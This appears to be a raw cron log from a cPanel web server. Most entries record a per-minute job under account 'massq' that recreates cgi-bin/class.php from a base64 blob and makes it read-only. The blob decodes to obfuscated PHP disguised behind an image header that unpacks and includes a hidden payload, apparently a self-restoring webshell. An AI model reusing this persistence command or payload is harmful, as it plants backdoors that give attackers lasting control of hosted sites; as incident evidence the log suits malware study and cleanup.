Nov 12 16:51:01 server CROND[28029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:52:01 server CROND[28827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:53:01 server CROND[29667]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:54:01 server CROND[30501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:55:01 server CROND[30736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:55:01 server CROND[30737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:55:01 server CROND[30738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:56:01 server CROND[31791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:57:01 server CROND[32620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:57:01 server CROND[32621]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 16:58:01 server CROND[1156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:59:01 server CROND[2085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:00:01 server CROND[2919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:00:01 server CROND[2920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:00:01 server CROND[2921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:00:01 server CROND[2926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:01:01 server CROND[3743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:01:01 server CROND[3744]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 17:01:01 server run-parts(/etc/cron.hourly)[3744]: starting 0anacron
Nov 12 17:01:01 server run-parts(/etc/cron.hourly)[3756]: finished 0anacron
Nov 12 17:02:01 server CROND[4570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:03:01 server CROND[5378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
